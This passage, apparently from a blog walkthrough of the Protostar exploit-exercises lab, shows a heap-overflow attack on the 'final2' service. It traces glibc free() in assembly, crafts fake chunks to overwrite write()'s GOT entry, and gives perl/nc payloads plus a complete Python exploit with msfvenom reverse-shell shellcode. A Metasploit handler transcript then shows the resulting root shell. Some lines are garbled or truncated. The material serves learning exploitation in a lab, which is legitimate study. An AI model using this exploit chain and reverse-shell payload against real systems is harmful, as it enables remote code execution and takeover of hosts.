eax            0x42424242       0x42424242
edx            0x43434343       0x43434343

And free() crashes as expected, because of the illegal chunk sizes.

So in order to exploit this vulnerability we have to put some more work into this. Let’s take a look at the free function to better understand what’s happening.

Excursion into free

Let’s step into free and see what’s happening.

0x804a9cf <free+13>:	cmp    DWORD PTR [ebp+0x8],0x0
0x804a9d3 <free+17>:	je     0x804ac27 <free+613>

First, check for a NULL pointer and immediatly return.

0x804a9d9 <free+23>:	mov    eax,DWORD PTR [ebp+0x8]
0x804a9dc <free+26>:	sub    eax,0x8
0x804a9df <free+29>:	mov    DWORD PTR [ebp-0x34],eax

Store the start of the current chunk in a local variable.

0x804aa37 <free+117>:	mov    eax,DWORD PTR [ebp-0x34]  ; start of chunk
0x804aa3a <free+120>:	mov    eax,DWORD PTR [eax+0x4]   ; size of chunk
0x804aa3d <free+123>:	and    eax,0x2
0x804aa40 <free+126>:	test   eax,eax
0x804aa42 <free+128>:	jne    0x804abca <free+520>

Here the IS_MMAPPED flag is check.

0x804aa54 <free+146>:	mov    eax,DWORD PTR [ebp-0x28]  ; start of next chunk
0x804aa57 <free+149>:	mov    eax,DWORD PTR [eax+0x4]   ; size of chunk
0x804aa5a <free+152>:	and    eax,0xfffffffc            ; mask out flags from size
0x804aa5d <free+155>:	mov    DWORD PTR [ebp-0x24],eax

This piece of code stores the size of the next chunk on the stack.

0x804aa60 <free+158>:	mov    eax,DWORD PTR [ebp-0x34]  ; start of chunk
0x804aa63 <free+161>:	mov    eax,DWORD PTR [eax+0x4]   ; size of chunk
0x804aa66 <free+164>:	and    eax,0x1
0x804aa69 <free+167>:	test   eax,eax
0x804aa6b <free+169>:	jne    0x804aaa7 <free+229>

Next the PREV_INUSE is checked.

0x804aaaa <free+232>:	mov    eax,DWORD PTR [eax+0x2c]
0x804aaad <free+235>:	cmp    eax,DWORD PTR [ebp-0x28] ; start of next chunk
0x804aab0 <free+238>:	je     0x804ab54 <free+402>

Dunno, probably verifies the calculated start of next chunk.

0x804aab6 <free+244>:	mov    eax,DWORD PTR [ebp-0x24] ; size of next chunk
0x804aab9 <free+247>:	mov    edx,DWORD PTR [ebp-0x28] ; start of next chunk
0x804aabc <free+250>:	lea    eax,[edx+eax*1]          ; next_next chunk
0x804aabf <free+253>:	mov    eax,DWORD PTR [eax+0x4]  ; size of next_next chunk
0x804aac2 <free+256>:	and    eax,0x1
0x804aac5 <free+259>:	mov    DWORD PTR [ebp-0x20],eax
0x804aad1 <free+271>:	cmp    DWORD PTR [ebp-0x20],0x0
0x804aad5 <free+275>:	jne    0x804ab01 <free+319>

Here the PREV_INUSE flag of the next_next chunk is checked. Afterwards the FD and BK pointers of the next chunk are written to their counterparts.

0x804aad7 <free+277>:	mov    eax,DWORD PTR [ebp-0x28] ; start of next chunk
0x804aada <free+280>:	mov    eax,DWORD PTR [eax+0x8]  ; FD of next chunk
0x804aadd <free+283>:	mov    DWORD PTR [ebp-0x14],eax
0x804aae0 <free+286>:	mov    eax,DWORD PTR [ebp-0x28] ; start of next chunk
0x804aae3 <free+289>:	mov    eax,DWORD PTR [eax+0xc]  ; BK of next chunk
0x804aae6 <free+292>:	mov    DWORD PTR [ebp-0x18],eax
0x804aae9 <free+295>:	mov    eax,DWORD PTR [ebp-0x14] ; FD of next chunk
0x804aaec <free+298>:	mov    edx,DWORD PTR [ebp-0x18] ; BK of next chunk
0x804aaef <free+301>:	mov    DWORD PTR [eax+0xc],edx
0x804aaf2 <free+304>:	mov    eax,DWORD PTR [ebp-0x18] ; BK of next chunk
0x804aaf5 <free+307>:	mov    edx,DWORD PTR [ebp-0x14] ; FD of next chunk
0x804aaf8 <free+310>:	mov    DWORD PTR [eax+0x8],edx

If we can execute this code path, we can overwrite a pointer in e.g. the GOT. In order to do this, the next_next chunk must have a PREV_INUSE flag of zero.

In this example we control the next chunk header. We only need to introduce a next_next chunk with above mentioned flag set. With a negative size for the next chunk we avoid null bytes and can create a virtual chunk in the first part of the input.


Let’s test the approach with the following code. Let’s just try with the payload from Heap3.

#perl -e 'print("FSRD"."A"x123 ."/"."FSRDROOT"."B"x103 ."/\xFC\xFF\xFF\xFF\xFC\xFF\xFF\xFFCCCCDDDD")' | nc 2993

With this input we expect a segmentation fault when the second chunk is free()d. Let’s see what gdb says.

  EAX: 0x43434343  EBX: 0xB7FD7FF4  ECX: 0x0804C2D6  EDX: 0x44444444  o d I t s Z a P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF248  ESP: 0xBFFFF200  EIP: 0x0804AAEF
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
0x804aaef <free+301>:	mov    DWORD PTR [eax+0xc],edx
0x804aaf2 <free+304>:	mov    eax,DWORD PTR [ebp-0x18]
0x804aaf5 <free+307>:	mov    edx,DWORD PTR [ebp-0x14]
0x804aaf8 <free+310>:	mov    DWORD PTR [eax+0x8],edx
0x804aafb <free+313>:	mov    eax,DWORD PTR [ebp-0x24]
0x804aafe <free+316>:	add    DWORD PTR [ebp-0x30],eax
0x804ab01 <free+319>:	mov    eax,DWORD PTR [ebp-0x38]
0x804ab04 <free+322>:	add    eax,0x34

Great! So we need to figure out what pointers to overwrite. A write() call is executed just before the free(). We can overwrite the GOT with our address.

gdb$ x/3i 0x8048dfc
0x8048dfc <write@plt>:	jmp    DWORD PTR ds:0x804d41c
0x8048e02 <write@plt+6>:	push   0x68
0x8048e07 <write@plt+11>:	jmp    0x8048d1c
gdb$ x/x 0x804d41c
0x804d41c <_GLOBAL_OFFSET_TABLE_+64>:	0xb7f53c70

For best results, we can utilize a third chunk as our target buffer. Just append some more bytes to the input command. The respective heap address is as follows.

gdb$ disas chex/34x  0x0804E118-8
0x804e110:	0x00000000	0x00000089	0x44525346	0xcccccccc
0x804e120:	0xcccccccc	0xcccccccc	0x0804d410	0xcccccccc
0x804e130:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0x804e140:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0x804e150:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0x804e160:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0x804e170:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0x804e180:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0x804e190:	0xcccccccc	0x00cccccc

We update the BK pointer in our command to direct the execution into chunk three.

#perl -e 'print("FSRD"."A"x108 ."\xF0\xFF\xFF\xFF"."\xFC\xFF\xFF\xFF"."EEEE"."FFF" ."/"."FSRDROOT"."B"x103 ."/\xFC\xFF\xFF\xFF\xF0\xFF\xFF\xFF"."\x10\xD4\x04\x08"."\x20\xE1\x04\x08". "FSRD"."\xCC"x128)' | nc 299

And with this command the execution hopefully stops with a SIGTRAP instruction.

Program received signal SIGTRAP, Trace/breakpoint trap.
  EAX: 0x00000004  EBX: 0xB7FD7FF4  ECX: 0x0804C2D6  EDX: 0x0804E078  o d I t S z A p C
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF678  ESP: 0xBFFFF24C  EIP: 0x0804E121
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
0x804e121:	int3   
0x804e122:	int3   
0x804e123:	int3   
0x0804e121 in ?? ()

Next, we need to introduce a jmp over BK+8 where the pointer to 0x0804d410 will be written.

perl -e 'print("FSRD"."A"x108 ."\xF0\xFF\xFF\xFF"."\xFC\xFF\xFF\xFF"."EEEE"."FFF" ."/"."FSRDROOT"."B"x103 ."/\xFC\xFF\xFF\xFF\xF0\xFF\xFF\xFF"."\x10\xD4\x04\x08"."\x20\xE1\x04\x08". "FSRD"."\x90"x10 ."\xEB\x04"."XXXX"."\x90"x100 ."\xCC")' | nc 2993

And finally, we place a shellcode in the chunk3. The reverse shell from the last example fits fine into the third junk.

 2# -*- coding: utf-8 -*-
 4import socket
 5import struct
 6import sys
 9target_ip = ""
10target_port = 2993
12#target addre#$ msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=4444 -f python -e x86/shikata_ga_nai
13shellcode =  "\x90"
14shellcode += "\xba\xe7\x96\xde\xe9\xda\xce\xd9\x74\x24\xf4\x5b\x2b"
15shellcode += "\xc9\xb1\x12\x31\x53\x12\x83\xc3\x04\x03\xb4\x98\x3c"
16shellcode += "\x1c\x0b\x7e\x37\x3c\x38\xc3\xeb\xa9\xbc\x4a\xea\x9e"
17shellcode += "\xa6\x81\x6d\x4d\x7f\xaa\x51\xbf\xff\x83\xd4\xc6\x97"
18shellcode += "\xd3\x8f\x38\x65\xbc\xcd\x3a\x78\x60\x5b\xdb\xca\xfe"
19shellcode += "\x0b\x4d\x79\x4c\xa8\xe4\x9c\x7f\x2f\xa4\x36\xaf\x1f"
20shellcode += "\x3a\xae\xc7\x70\xde\x47\x76\x06\xfd\xc5\xd5\x91\xe3"
21shellcode += "\x59\xd2\x6c\x63"
23vchunk =  "\xF0\xFF\xFF\xFF"
24vchunk += "\xFC\xFF\xFF\xFF"
25vchunk += "BBBB" #FD
26vchunk += "CCC" #BK (for alignment on byte short)
28payload1 =  "FSRD"
29payload1 += "A"*(128-len(payload1)-1-len(vchunk))
30payload1 += vchunk
31payload1 += "/"
33FD = 0x804D41C #write()
34BK = 0x804E120 #write()
35chunk =  "\xFC\xFF\xFF\xFF"
36chunk += "\xF0\xFF\xFF\xFF"
37chunk += struct.pack("<I",FD-0xc) #FD -0xc in free
38chunk += struct.pack("<I",BK) #BK
40payload2 =  "FSRD"
41payload2 += "ROOT"
42payload2 += "B"*(128-len(chunk)-len(payload2)-1)
43payload2 += "/"
44payload2 += chunk
46payload3 =  "\x90"*14
47payload3 += "\xEB\x04" #JMP 4
48payload3 += "XXXX"     #FD will be written to this location
51payload3 += shellcode
52payload3 += "\x90"*(128-len(payload3)-1)
53payload3 += "\xcc"
56if len(shellcode) > 128:
57  print("Exploit code too large")
58  exit()
60sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
62if sock:
63  print(len(payload1))
64  sock.sendall(payload1)
65  print(len(payload2))
66  sock.sendall(payload2)
67  print(len(payload3))
68  sock.sendall(payload3)

Now we only have to wait for a reverse connection.

$ msfcli exploit/multi/handler payload=linux/x86/shell_reverse_tcp lport=4444  E
[*] Initializing modules...
payload => linux/x86/shell_reverse_tcp
lport => 4444
[*] Started reverse handler on
[*] Starting the payload handler...
[*] Command shell session 1 opened ( -> at 2015-07-04 11:15:03 +0200

python -c 'import pty; pty.spawn("/bin/sh")'
# pwd


Finally, a big thanks to the creators of the protostar exploit exercises. The challenges present quite a steep learning curve. A great curse to try harder each exercise.

Links and References

Exploit Exercises